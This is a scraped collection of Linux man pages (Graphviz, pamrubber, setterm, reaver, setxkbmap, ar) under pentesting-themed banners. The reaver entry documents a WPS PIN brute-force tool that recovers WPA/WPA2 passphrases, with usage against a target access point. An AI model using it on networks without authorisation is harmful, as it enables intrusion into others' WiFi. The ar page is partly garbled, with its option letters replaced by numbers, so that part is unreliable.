labeldistance and labelangle (in degrees CCW) specify the placement of head and tail labels.

decorate draws line from edge to label.

samehead,sametail aim edges having the same value to the same port, using the average landing point.

(dot‐specific attributes)
constraint=false causes an edge to be ignored for rank assignment.

**minlen=**n where n is an integer factor that applies to the edge length (ranks for normal edges, or minimum node separation for flat edges).

xlabel=“text” Edge labels in dot are treated as special types of nodes, with space allocated for them during node layout. This can sometimes deform the edge routing. If an xlabel is used instead, the label is placed after all nodes and edges have been positioned. In turn, this may mean that there is some overlap among the labels.

(neato and fdp‐specific attributes)
**len=**f sets the optimal length of an edge. The default is 1.0.

COMMAND‐LINE OPTIONS

-G sets a default graph attribute.
-N sets a default node attribute.
-E sets a default edge attribute. Example: -Gsize=“7,8” -Nshape=box -Efontsize=8

-lfile loads custom PostScript library files. Usually these define custom shapes or styles. If -l is given by itself, the standard library is omitted.

-Tlang sets the output language as described above.

-n[1|2] (no‐op) If set, neato assumes nodes have already been positioned and all nodes have a pos attribute giving the positions. It then performs an optional adjustment to remove node‐node overlap, depending on the value of the overlap attribute, computes the edge layouts, depending on the value of the splines attribute, and emits the graph in the appropriate format. If num is supplied, the following actions occur:

    num = 1

Equivalent to -n.

    num > 1

Use node positions as specified, with no adjustment to remove node‐node overlaps, and use any edge layouts already specified by the pos attribute. neato computes an edge layout for any edge that does not have a pos attribute. As usual, edge layout is guided by the splines attribute.

-Klayout override the default layout engine implied by the command name.

-O automatically generate output filenames based on the input filename and the -T format.

-P generate a graph of the currently available plugins.

-v (verbose) prints various information useful for debugging.

-c configure plugins.

-m memory test (observe no growth with top, kill when done).

-qlevel set level of message suppression. The default is 1.

-sfscale scale input by fscale, the default is 72.

-y invert y coordinate in output.

-V (version) prints version information and exits.

-? prints the usage and exits.

A complete description of the available command‐line options can be found at https://www.graphviz.org/doc/info/command.html.

EXAMPLES

digraph test123 {
        a -> b -> c;
        a -> {x y};
        b [shape=box];
        c [label="hello\ nworld",color=blue,fontsize=24,
             fontname="Palatino-Italic",fontcolor=red,style=filled];
        a -> z [label="hi", weight=100];
        x -> z [label="multi-line\ nlabel"];
        edge [style=dashed,color=red];
        b -> x;
        {rank=same; b x}
}

graph test123 {
        a -- b -- c;
        a -- {x y};
        x -- c [w=10.0];
        x -- y [w=5.0,len=3];
}

CAVEATS

Edge splines can overlap unintentionally.

Flat edge labels are slightly broken. Intercluster edge labels are totally broken.

Because unconstrained optimization is employed, node boxes can possibly overlap or touch unrelated edges. All existing spring embedders seem to have this limitation.

Apparently reasonable attempts to pin nodes or adjust edge lengths and weights can cause instability.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>
John C. Ellson <[email protected]>
Yifan Hu <[email protected]>

The bitmap driver (PNG, GIF etc) is by Thomas Boutell, <http://www.boutell.com/gd>

The Truetype font renderer is from the Freetype Project (David Turner, Robert Wilhelm, and Werner Lemberg) (who can be contacted at [email protected]).

SEE ALSO

This man page contains only a small amount of the information related to the Graphviz layout programs. The most complete information can be found at http://www.graphviz.org/Documentation.php, especially in the on‐line reference pages. Most of these documents are also available in the doc and doc/info subtrees in the source and binary distributions.

dotty(1),tcldot(n),xcolors(1),libgraph(3).

E. R. Gansner, S. C. North, K. P. Vo, “DAG ‐ A Program to Draw Directed Graphs”, Software ‐ Practice and Experience 17(1), 1988, pp. 1047‐1062.
E. R. Gansner, E. Koutsofios, S. C. North, K. P. Vo, “A Technique for Drawing Directed Graphs,” IEEE Trans. on Soft. Eng. 19(3), 1993, pp. 214‐230.
S. North and E. Koutsofios, “Applications of graph visualization”, Graphics Interface 94, pp. 234‐245.
E. R. Gansner and E. Koutsofios and S. C. North, “Drawing Graphs with dot,” Available at http://www.graphviz.org/pdf/dotguide.pdf.
S. C. North, “NEATO User’s Manual”. Available http://www.graphviz.org/pdf/neatoguide.pdf.
E. R. Gansner and Y. Hu, “Efficient, Proximity-Preserving Node Overlap Removal”, J. Graph Algorithms Appl., 14(1) pp. 53‐74, 2010.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2286 - Linux cli command pamrubber

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamrubber and provides detailed information about the command pamrubber, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamrubber.

.

NAME 🖥️ pamrubber 🖥️

a rubber-sheeting utility that stretches an image based on control points

SYNOPSIS

pamrubber {-tri | -quad} [-linear] [-frame] [**-randomseed=**N] cp1x cp1y [cp2x cp2y [cp3x cp3y [cp4x cp4y]]] cp1x cp1y [cp2x cp2y [cp3x cp3y [cp4x cp4y]]] [filename]

Minimum unique abbreviation of options is acceptable. You may use double hyphens instead of single hyphen to denote options.

DESCRIPTION

This program is part of Netpbm(1) .

The pamrubber utility converts a pam image into a new image with the contents moved around. The transformation is often called “rubber sheeting”: you identify control points (CP) on the source image and specify new positions for those points in the new image. pamrubber moves all the pixels around, stretching and compressing as necessary, as if the original image were on a sheet of rubber and you pulled on the sheet to make the control points move to their new locations.

The new image has the same dimensions and format as the original.

The transformation can happen in two very different ways, called “quad” and “tri.” With the former, you must specify four control points (for both source and target). These are the corners of two quadrilaterals that will act as the coordinate system for both source and target images. Consider them as non-orthogonal (0,0), (0,1), (1,0) and (1,1) points. This transformation comes close to the one pamperspective does, however that program does other corrections as well.

When you specify less than four control points, the program adds control points in the following way. With three control points, pamrubber chooses the fourth one such that the four points form a parallelogram. With two points, pamrubber considers them the opposite corners of a rectangle. When you specify only one control point, pamrubber uses a rectangle from the top left corner of the image to the single control point.

In “tri” mode, pamrubber conceptually cuts up the source and target image into triangles. It Transforms within each corresponding pair of triangles in a stretching fashion. It’s like pulling on the three corners of the triangle. In this mode, each pixel in the source image gets mapped to a position in the target image. No pixels are lost.

When, in “tri” mode, you specify only a single control point in the source and target image, pamrubber creates four triangles from this point to the four corners of the image. With two points, the program creates six triangles from the two endpoints of the line connecting the two points, again to the four corners of the image. Three control points is in a way the core of this utility in “tri” mode. Between the three edges of the central triangle and the four edges of the image, pamrubber constructs another seven triangles. Four control points define two central connected triangles. In total this results in cutting the source and target image up into ten triangles.

In this case clearly a picture says more than a thousand words. There is a graphical illustration of these various modes at www.schaik.com/netpbm/rubber . An example of how to use this type of rubber sheeting in cartography is in the article Visualizing the Landscape of Old-Time Tokyo .

PARAMETERS

The parameters are control points (cp) in pairs of x and y. The source and target image must have the same number of control points. The minimum number of values specified here is 4 for a single control point in the source and target image. The maximum is 16 for four control points in each image.

filename is the name of the input file. If you don’t specify this, pamrubber reads the image from Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamrubber recognizes the following command line options:

-tri | -quad
This selects the type of rubber sheeting done. You must specify exactly one of these options.

-linear
This determines whether pamrubber uses nearest neighbor interpolation or bilinear interpolation of four source pixels.

-frame
This option causes pamrubber to overlay the target image with the edges of the quadrilaterals, respectively the triangles used for the rubber sheeting. To get the same overlay for the source image, use a pamrubber transformation with identical control points for source and target.

**-randomseed=**N
pamrubber randomizes some of its output. So that you can produce repeatable results, you can choose the seed of the random number generator with this option. If you use the same input image and the same random number generator seed, you should always get the exact same output. By default, pamrubber uses the time of day as the seed, so you get slightly different output when you run the program twice on the same input.

Before Netpbm 10.61 (December 2012), this was called -randseed, and that still works.

SEE ALSO

pam(1) and pamperspective(1)

HISTORY

pamrubber was new in Netpbm 10.54 (March 2011).

AUTHORS

Willem van Schaik wrote this program in February 2011 and contributed it to Netpbm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamrubber.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2287 - Linux cli command setterm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setterm and provides detailed information about the command setterm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setterm.

NAME 🖥️ setterm 🖥️

set terminal attributes

SYNOPSIS

setterm [options]

DESCRIPTION

setterm writes to standard output a character string that will invoke the specified terminal capabilities. Where possible terminfo is consulted to find the string to use. Some options however (marked “virtual consoles only” below) do not correspond to a terminfo(5) capability. In this case, if the terminal type is “con” or “linux” the string that invokes the specified capabilities on the PC Minix virtual console driver is output. Options that are not implemented by the terminal are ignored.

OPTIONS

For boolean options (on or off), the default is on.

Below, an 8-color can be black, red, green, yellow, blue, magenta, cyan, or white.

A 16-color can be an 8-color, or grey, or bright followed by red, green, yellow, blue, magenta, cyan, or white.

The various color options may be set independently, at least on virtual consoles, though the results of setting multiple modes (for example, –underline and –half-bright) are hardware-dependent.

The optional arguments are recommended with = (equals sign) and not space between the option and the argument. For example –option=argument. setterm can interpret the next non-option argument as an optional argument too.

–appcursorkeys on|off

Sets Cursor Key Application Mode on or off. When on, ESC O A, ESC O B, etc. will be sent for the cursor keys instead of ESC [ A, ESC [ B, etc. See the vi and Cursor-Keys section of the Text-Terminal-HOWTO for how this can cause problems for vi users. Virtual consoles only.

–append console_number

Like –dump, but appends to the snapshot file instead of overwriting it. Only works if no –dump options are given.

–background 8-color|default

Sets the background text color.

–blank[=0-60|force|poke]

Sets the interval of inactivity, in minutes, after which the screen will be automatically blanked (using APM if available). Without an argument, it gets the blank status (returns which vt was blanked, or zero for an unblanked vt). Virtual consoles only.

The force argument keeps the screen blank even if a key is pressed.

The poke argument unblanks the screen.

–bfreq[=number]

Sets the bell frequency in Hertz. Without an argument, it defaults to 0. Virtual consoles only.

–blength[=0-2000]

Sets the bell duration in milliseconds. Without an argument, it defaults to 0. Virtual consoles only.

–blink on|off

Turns blink mode on or off. Except on a virtual console, –blink off turns off all attributes (bold, half-brightness, blink, reverse).

–bold on|off

urns bold (extra bright) mode on or off. Except on a virtual console, –bold off turns off all attributes (bold, half-brightness, blink, reverse).

–clear[=all|rest]

Without an argument or with the argument all, the entire screen is cleared and the cursor is set to the home position, just like clear(1) does. With the argument rest, the screen is cleared from the current cursor position to the end.

–clrtabs[=tab1 tab2 tab3 …]

Clears tab stops from the given horizontal cursor positions, in the range 1-160. Without arguments, it clears all tab stops. Virtual consoles only.

–cursor on|off

Turns the terminal’s cursor on or off.

–default

Sets the terminal’s rendering options to the default values.

–dump[=console_number]

Writes a snapshot of the virtual console with the given number to the file specified with the –file option, overwriting its contents; the default is screen.dump. Without an argument, it dumps the current virtual console. This overrides –append.

–file filename

Sets the snapshot file name for any –dump or –append options on the same command line. If this option is not present, the default is screen.dump in the current directory. A path name that exceeds the system maximum will be truncated, see PATH_MAX from linux/limits.h for the value.

–foreground 8-color|default

Sets the foreground text color.

–half-bright on|off

Turns dim (half-brightness) mode on or off. Except on a virtual console, –half-bright off turns off all attributes (bold, half-brightness, blink, reverse).

–hbcolor 16-color

Sets the color for half-bright characters.

–initialize

Displays the terminal initialization string, which typically sets the terminal’s rendering options, and other attributes to the default values.

–inversescreen on|off

Swaps foreground and background colors for the whole screen.

–linewrap on|off

Makes the terminal continue on a new line when a line is full.

–msg on|off

Enables or disables the sending of kernel printk() messages to the console. Virtual consoles only.

–msglevel 0-8

Sets the console logging level for kernel printk() messages. All messages strictly more important than this will be printed, so a logging level of 0 has the same effect as –msg on and a logging level of 8 will print all kernel messages. klogd(8) may be a more convenient interface to the logging of kernel messages.

Virtual consoles only.

–powerdown[=0-60]

Sets the VESA powerdown interval in minutes. Without an argument, it defaults to 0 (disable powerdown). If the console is blanked or the monitor is in suspend mode, then the monitor will go into vsync suspend mode or powerdown mode respectively after this period of time has elapsed.

–powersave mode

Valid values for mode are:

vsync|on

Puts the monitor into VESA vsync suspend mode.

hsync

Puts the monitor into VESA hsync suspend mode.

powerdown

Puts the monitor into VESA powerdown mode.

off

Turns monitor VESA powersaving features.

–regtabs[=1-160]

Clears all tab stops, then sets a regular tab stop pattern, with one tab every specified number of positions. Without an argument, it defaults to 8. Virtual consoles only.

–repeat on|off

Turns keyboard repeat on or off. Virtual consoles only.

–reset

Displays the terminal reset string, which typically resets the terminal to its power-on state.

–resize

Reset terminal size by assessing maximum row and column. This is useful when actual geometry and kernel terminal driver are not in sync. Most notable use case is with serial consoles, that do not use ioctl(2) but just byte streams and breaks.

–reverse on|off

Turns reverse video mode on or off. Except on a virtual console, –reverse off turns off all attributes (bold, half-brightness, blink, reverse).

–store

Stores the terminal’s current rendering options (foreground and background colors) as the values to be used at reset-to-default. Virtual consoles only.

–tabs[=tab1 tab2 tab3 …]

Sets tab stops at the given horizontal cursor positions, in the range 1-160. Without arguments, it shows the current tab stop settings.

–term terminal_name

Overrides the TERM environment variable.

–ulcolor 16-color

Sets the color for underlined characters. Virtual consoles only.

–underline on|off

Turns underline mode on or off.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

WARNING

Use of setterm in combination with stdout redirection can have unexpected results, as some options operate on stdin. To prevent problems, always redirect both stdin and stdout to the same device.

COMPATIBILITY

Since version 2.25 setterm has support for long options with two hyphens, for example –help, beside the historical long options with a single hyphen, for example -help. In scripts it is better to use the backward-compatible single hyphen rather than the double hyphen. Currently there are no plans nor good reasons to discontinue single-hyphen compatibility.

BUGS

Differences between the Minix and Linux versions are not documented.

SEE ALSO

stty(1), tput(1), tty(4), terminfo(5)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The setterm command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2288 - Linux cli command reaver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reaver and provides detailed information about the command reaver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reaver.

NAME 🖥️ reaver 🖥️

WPS Cracker

SYNOPSIS

reaver -i <interface> -b <target bssid> -vv

DESCRIPTION

Reaver implements a brute force attack against WiFi Protected Setup which can crack the WPS pin of an access point in a matter of hours and subsequently recover the WPA/WPA2 passphrase.

Specifically, Reaver targets the registrar functionality of WPS, which is flawed in that it only takes 11,000 attempts to guess the correct WPS pin in order to become a WPS registrar. Once registred as a registrar with the access point, the access point will give you the WPA passphrase.

OPTIONS

-m, –mac=<mac>

MAC of the host system (should be resolved automatically)

-e, –essid=<ssid>

ESSID of the target AP. Unless cloaked, this will be resolved automatically.

-c, –channel=<channel>

Set the 802.11 channel for the interface (implies -f)

-o, –out-file=<file>

Send output to a log file [default: stdout]

-f, –fixed

Disable channel hopping

-5, –5ghz

Use 5GHz 802.11 channels

-v, –verbose

Display non-critical warnings (-vv for more)

-q, –quiet

Only display critical messages

-i, –interface=<wlan>

Name of the monitor-mode interface to use

-b, –bssid=<mac>

BSSID of the target AP

-p, –pin=<wps pin>

Use the specified WPS pin

-h, –help

Show help

AUTHOR

This manual page was written by Craig Heffner <[email protected]>, Tactical Network Solutions. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2289 - Linux cli command setxkbmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setxkbmap and provides detailed information about the command setxkbmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setxkbmap.

NAME 🖥️ setxkbmap 🖥️

set the keyboard using the X Keyboard Extension

SYNOPSIS

setxkbmap [ args ] [ layout [ variant [ option … ] ] ]

DESCRIPTION

The setxkbmap command maps the keyboard to use the layout determined by the options specified on the command line.

An XKB keymap is constructed from a number of components which are compiled only as needed. The source for all of the components can be found in /usr/share/X11/xkb.

OPTIONS

-compat name
Specifies the name of the compatibility map component used to construct a keyboard layout.

-config file
Specifies the name of an XKB configuration file which describes the keyboard to be used.

-device device
Specifies the numeric device id of the input device to be updated with the new keyboard layout. If not specified, the core keyboard device of the X server is updated.

-display display
Specifies the display to be updated with the new keyboard layout.

-geometry name
Specifies the name of the geometry component used to construct a keyboard layout.

-help
Prints a message describing the valid input to setxkbmap.

-I directory
Adds a directory to the list of directories to be used to search for specified layout or rules files.

-keycodes name
Specifies the name of the keycodes component used to construct a keyboard layout.

-keymap name
Specifies the name of the keymap description used to construct a keyboard layout.

-layout name
Specifies the name of the layout used to determine the components which make up the keyboard description. The -layout option may only be used once. Multiple layouts can be specified as a comma-separated list.

-model name
Specifies the name of the keyboard model used to determine the components which make up the keyboard description. Only one model may be specified on the command line.

-option name
Specifies the name of an option to determine the components which make up the keyboard description; multiple options may be specified, one per -option flag. Note that setxkbmap adds options specified in the command line to the options that were set before (as saved in root window properties). If you want to replace all previously specified options, use the -option flag with an empty argument first.

-print
With this option setxkbmap just prints component names in a format acceptable by xkbcomp (an XKB keymap compiler) and exits. The option can be used for tests instead of a verbose option and in cases when one needs to run both the setxkbmap and the xkbcomp in chain (see below).

-query
With this option setxkbmap just prints the current rules, model, layout, variant, and options, then exits.

-rules file
Specifies the name of the rules file used to resolve the requested layout and model to a set of component names.

-symbols name
Specifies the name of the symbols component used to construct a keyboard layout.

-synch
Force synchronization for X requests.

-types name
Specifies the name of the types component used to construct a keyboard layout.

-variant name
Specifies which variant of the keyboard layout should be used to determine the components which make up the keyboard description. The -variant option may only be used once. Multiple variants can be specified as a comma-separated list and will be matched with the layouts specified with -layout.

-verbose|-v [level]
Specifies level of verbosity in output messages. Valid levels range from 0 (least verbose) to 10 (most verbose). The default verbosity level is 5. If no level is specified, each -v or -verbose flag raises the level by 1.

-version
Prints the program’s version number.

USING WITH xkbcomp

If you have an Xserver and a client shell running on different computers and some XKB configuration files on those machines are different, you can get problems specifying a keyboard map by model, layout, and options names. This is because setxkbmap converts its arguments to names of XKB configuration files according to files that are on the client-side computer, then sends these file names to the server where xkbcomp has to compose a complete keyboard map using files which the server has. Thus if the sets of files differ in some way, the names that setxkbmap generates can be unacceptable on the server side. You can solve this problem by running the xkbcomp on the client side too. With the -print option setxkbmap just prints the file names in an appropriate format to its stdout and this output can be piped directly to the xkbcomp input. For example, the command

setxkbmap us -print | xkbcomp - $DISPLAY

makes both steps run on the same (client) machine and loads a keyboard map into the server.

XWAYLAND

Xwayland is an X server that uses a Wayland Compositor as backend. Xwayland acts as translation layer between the X protocol and the Wayland protocol but does not manage the keymaps - these are handled by the Wayland Compositor.

Changing the keymap with setxkbmap is not supported by Xwayland. In most instances, using setxkbmap on Xwayland is indicative of a bug in a shell script and setxkbmap will print a warning. Use the Wayland Compositor’s native XKB configuration methods instead.

SEE ALSO

xkbcomp(1), xkeyboard-config(7)

FILES

/usr/share/X11/xkb

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2290 - Linux cli command x86_64-w64-mingw32ucrt-ar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-ar and provides detailed information about the command x86_64-w64-mingw32ucrt-ar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-ar.

NAME 🖥️ x86_64-w64-mingw32ucrt-ar 🖥️

create, modify, and extract from archives

SYNOPSIS

ar [-X32_64] [-]p[mod] [–plugin name] [–target bfdname] [–output dirname] [–record-libdeps libdeps] [–thin] [relpos] [count] archive [member…]

DESCRIPTION

The GNU ar program creates, modifies, and extracts from archives. An archive is a single file holding a collection of other files in a structure that makes it possible to retrieve the original individual files (called members of the archive).

The original files’ contents, mode (permissions), timestamp, owner, and group are preserved in the archive, and can be restored on extraction.

GNU ar can maintain archives whose members have names of any length; however, depending on how ar is configured on your system, a limit on member-name length may be imposed for compatibility with archive formats maintained with other tools. If it exists, the limit is often 15 characters (typical of formats related to a.out) or 16 characters (typical of formats related to coff).

ar is considered a binary utility because archives of this sort are most often used as libraries holding commonly needed subroutines. Since libraries often will depend on other libraries, ar can also record the dependencies of a library when the –record-libdeps option is specified.

ar creates an index to the symbols defined in relocatable object modules in the archive when you specify the modifier s. Once created, this index is updated in the archive whenever ar makes a change to its contents (save for the q update operation). An archive with such an index speeds up linking to the library, and allows routines in the library to call each other without regard to their placement in the archive.

You may use nm -s or nm –print-armap to list this index table. If an archive lacks the table, another form of ar called ranlib can be used to add just the table.

GNU ar can optionally create a thin archive, which contains a symbol index and references to the original copies of the member files of the archive. This is useful for building libraries for use within a local build tree, where the relocatable objects are expected to remain available, and copying the contents of each object would only waste time and space.

An archive can either be thin or it can be normal. It cannot be both at the same time. Once an archive is created its format cannot be changed without first deleting it and then creating a new archive in its place.

Thin archives are also flattened, so that adding one thin archive to another thin archive does not nest it, as would happen with a normal archive. Instead the elements of the first archive are added individually to the second archive.

The paths to the elements of the archive are stored relative to the archive itself.

GNU ar is designed to be compatible with two different facilities. You can control its activity using command-line options, like the different varieties of ar on Unix systems; or, if you specify the single command-line option -M, you can control it with a script supplied via standard input, like the MRI “librarian” program.

OPTIONS

GNU ar allows you to mix the operation code p and modifier flags mod in any order, within the first command-line argument.

If you wish, you may begin the first command-line argument with a dash.

The p keyletter specifies what operation to execute; it may be any of the following, but you must specify only one of them:

  1. Delete modules from the archive. Specify the names of modules to be deleted as member…; the archive is untouched if you specify no files to delete. If you specify the v modifier, ar lists each module as it is deleted.

  2. Use this operation to move members in an archive. The ordering of members in an archive can make a difference in how programs are linked using the library, if a symbol is defined in more than one member. If no modifiers are used with m, any members you name in the member arguments are moved to the end of the archive; you can use the a, b, or i modifiers to move them to a specified place instead.

  3. Print the specified members of the archive, to the standard output file. If the v modifier is specified, show the member name before copying its contents to standard output. If you specify no member arguments, all the files in the archive are printed.

  4. Quick append; Historically, add the files member… to the end of archive, without checking for replacement. The modifiers a, b, and i do not affect this operation; new members are always placed at the end of the archive. The modifier v makes ar list each file as it is appended. Since the point of this operation is speed, implementations of ar have the option of not updating the archive’s symbol table if one exists. Too many different systems however assume that symbol tables are always up-to-date, so GNU ar will rebuild the table even with a quick append. Note - GNU ar treats the command qs as a synonym for r - replacing already existing files in the archive and appending new ones at the end.

  5. Insert the files member… into archive (with replacement). This operation differs from q in that any previously existing members are deleted if their names match those being added. If one of the files named in member… does not exist, ar displays an error message, and leaves undisturbed any existing members of the archive matching that name. By default, new members are added at the end of the file; but you may use one of the modifiers a, b, or i to request placement relative to some existing member. The modifier v used with this operation elicits a line of output for each file inserted, along with one of the letters a or r to indicate whether the file was appended (no old member deleted) or replaced.

  6. Add an index to the archive, or update it if it already exists. Note this command is an exception to the rule that there can only be one command letter, as it is possible to use it as either a command or a modifier. In either case it does the same thing.

  7. Display a table listing the contents of archive, or those of the files listed in member… that are present in the archive. Normally only the member name is shown, but if the modifier O is specified, then the corresponding offset of the member is also displayed. Finally, in order to see the modes (permissions), timestamp, owner, group, and size the v modifier should be included. If you do not specify a member, all files in the archive are listed. If there is more than one file with the same name (say, fie) in an archive (say b.a), ar t b.a fie lists only the first instance; to see them all, you must ask for a complete listing—in our example, ar t b.a.

  8. Extract members (named member) from the archive. You can use the v modifier with this operation, to request that ar list each name as it extracts it. If you do not specify a member, all files in the archive are extracted. Files cannot be extracted from a thin archive, and there are restrictions on extracting from archives created with P: The paths must not be absolute, may not contain .., and any subdirectories in the paths must exist. If it is desired to avoid these restrictions then used the –output option to specify an output directory.

A number of modifiers (mod) may immediately follow the p keyletter, to specify variations on an operation’s behavior:

  1. Add new files after an existing member of the archive. If you use the modifier a, the name of an existing archive member must be present as the relpos argument, before the archive specification.

  2. Add new files before an existing member of the archive. If you use the modifier b, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as i).

  3. Create the archive. The specified archive is always created if it did not exist, when you request an update. But a warning is issued unless you specify in advance that you expect to create it, by using this modifier.

  1. Operate in deterministic mode. When adding files and the archive index use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. When this option is used, if ar is used with identical options and identical input files, multiple runs will create identical output files regardless of the input files’ owners, groups, file modes, or modification times. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the U modifier, below.
  1. Truncate names in the archive. GNU ar will normally permit file names of any length. This will cause it to create archives which are not compatible with the native ar program on some systems. If this is a concern, the f modifier may be used to truncate file names when putting them in the archive.
  1. Insert new files before an existing member of the archive. If you use the modifier i, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as b).
  1. Specify dependencies of this library. The dependencies must immediately follow this option character, must use the same syntax as the linker command line, and must be specified within a single argument. I.e., if multiple items are needed, they must be quoted to form a single command line argument. For example l “-L/usr/local/lib -lmydep1 -lmydep2”
  1. Uses the count parameter. This is used if there are multiple entries in the archive with the same name. Extract or delete instance count of the given name from the archive.
